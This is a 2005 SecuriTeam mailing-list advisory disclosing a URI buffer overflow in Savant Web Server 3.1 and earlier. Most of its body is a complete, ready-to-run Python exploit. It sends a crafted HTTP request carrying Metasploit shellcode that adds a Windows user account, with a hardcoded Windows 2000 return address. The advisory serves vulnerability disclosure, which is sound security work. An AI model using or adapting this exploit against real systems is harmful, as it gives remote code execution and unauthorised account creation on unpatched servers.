[NT] Savant Web Server URI Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 02/02/05

  • Next message: SecuriTeam: "[UNIX] Squirrelmail Remote and Local File Inclusion and XSS"
    To: list@securiteam.com
    Date: 2 Feb 2005 16:39:42 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Savant Web Server URI Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://sourceforge.net/projects/savant/> Savant is "a full-featured open
    source web server for computers running any version of Windows 95/NT or
    greater".

    Due to improper bounds checking routines in Savant, a remote attacker can
    cause the program to overflow an internal buffer and as a consequence
    execute arbitrary code.

    DETAILS

    Vulnerable Systems:
     * Savant Web Server version 3.1 and prior

    By sending a malformed HTTP request in the following format Any_Text /
    [256 Bytes]\r\n a remote attacker is able to overwrite the instruction
    pointer with an arbitrary address.

    Exploit:
    #########################################################
    # #
    # Savant web server Buffer Overflow Exploit #
    # Discovered by : Mati Aharoni #
    # Coded by : Tal Zeltzer and Mati Aharoni #
    # www.see-security.com #
    # FOR RESEACRH PURPOSES ONLY! #
    #########################################################
    import struct
    import socket
    sc = "\x90" * 21
    # win32_adduser - PASS=pwd EXITFUNC=thread USER=X Size=232
    Encoder=PexFnstenvSub http://metasploit.com
    sc += "\x31\xc9\x83\xe9\xcc\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
    sc += "\x23\x73\xe4\x83\xeb\xfc\xe2\xf4\x24\xcb\x35\xe4\xd8\x23\xf8\xa1"
    sc += "\xe4\xa8\x0f\xe1\xa0\x22\x9c\x6f\x97\x3b\xf8\xbb\xf8\x22\x98\x07"
    sc += "\xf6\x6a\xf8\xd0\x53\x22\x9d\xd5\x18\xba\xdf\x60\x18\x57\x74\x25"
    sc += "\x12\x2e\x72\x26\x33\xd7\x48\xb0\xfc\x27\x06\x07\x53\x7c\x57\xe5"
    sc += "\x33\x45\xf8\xe8\x93\xa8\x2c\xf8\xd9\xc8\xf8\xf8\x53\x22\x98\x6d"
    sc += "\x84\x07\x77\x27\xe9\xe3\x17\x6f\x98\x13\xf6\x24\xa0\x2c\xf8\xa4"
    sc += "\xd4\xa8\x03\xf8\x75\xa8\x1b\xec\x31\x28\x73\xe4\xd8\xa8\x33\xd0"
    sc += "\xdd\x5f\x73\xe4\xd8\xa8\x1b\xd8\x87\x12\x85\x84\x8e\xc8\x7e\x8c"
    sc += "\x37\xed\x93\x84\xb0\xbb\x8d\x6e\xd6\x74\x8c\x03\x30\xcd\x8c\x1b"
    sc += "\x27\x40\x1e\x80\xf6\x46\x0b\x81\xf8\x0c\x10\xc4\xb6\x46\x07\xc4"
    sc += "\xad\x50\x16\x96\xf8\x7b\x53\x94\xaf\x47\x53\xcb\x99\x67\x37\xc4"
    sc += "\xfe\x05\x53\x8a\xbd\x57\x53\x88\xb7\x40\x12\x88\xbf\x51\x1c\x91"
    sc += "\xa8\x03\x32\x80\xb5\x4a\x1d\x8d\xab\x57\x01\x85\xac\x4c\x01\x97"
    sc += "\xf8\x7b\x53\xcb\x99\x67\x37\xe4";
    sc += "AA"
    # Win2k SP0,1,2,3,4
    #Change Return address as needed
    buf = "\xEB\x19" + " /" + sc + struct.pack("<L",0x750236b2) + "\r\n\r\n"
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(('127.0.0.1',80))
    s.send(buf)
    s.close()

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:muts@inter.net.il> Mati
    Aharoni.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Squirrelmail Remote and Local File Inclusion and XSS"

    Relevant Pages

    • [NT] Xedus Webserver Directory Traversal and DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The Xedus web server is vulnerable to a directory traversal. ... this vulnerability constitutes a denial of ...
      (Securiteam)
    • [NT] Quick n Easy/Baby Web Server ASP Code Disclosure
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Quick 'n Easy/Baby Web Server ASP Code Disclosure ... Quick 'n Easy Web Server version 3.1.1 ... 22/03/2006 - Initial vendor notification ...
      (Securiteam)
    • [NEWS] IP Phones Based on PA168 Chipset Have Weak Session Management
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... IP Phones Based on PA168 Chipset Have Weak Session Management ... admin web console running as superuser. ... is for them to send a well-formed request to the web server. ...
      (Securiteam)
    • [EXPL] Baby Web Server Command Validation (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Server was to design a simple web server with support for ASP." ... By sending an especially crafted request to Baby Web Server, ...
      (Securiteam)
    • [NT] Eternal Lines Web Server DoS
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Server is "a free Web Server for use with Windows". ... program's connection queues (approximately 70 connections). ... sub Slp ...
      (Securiteam)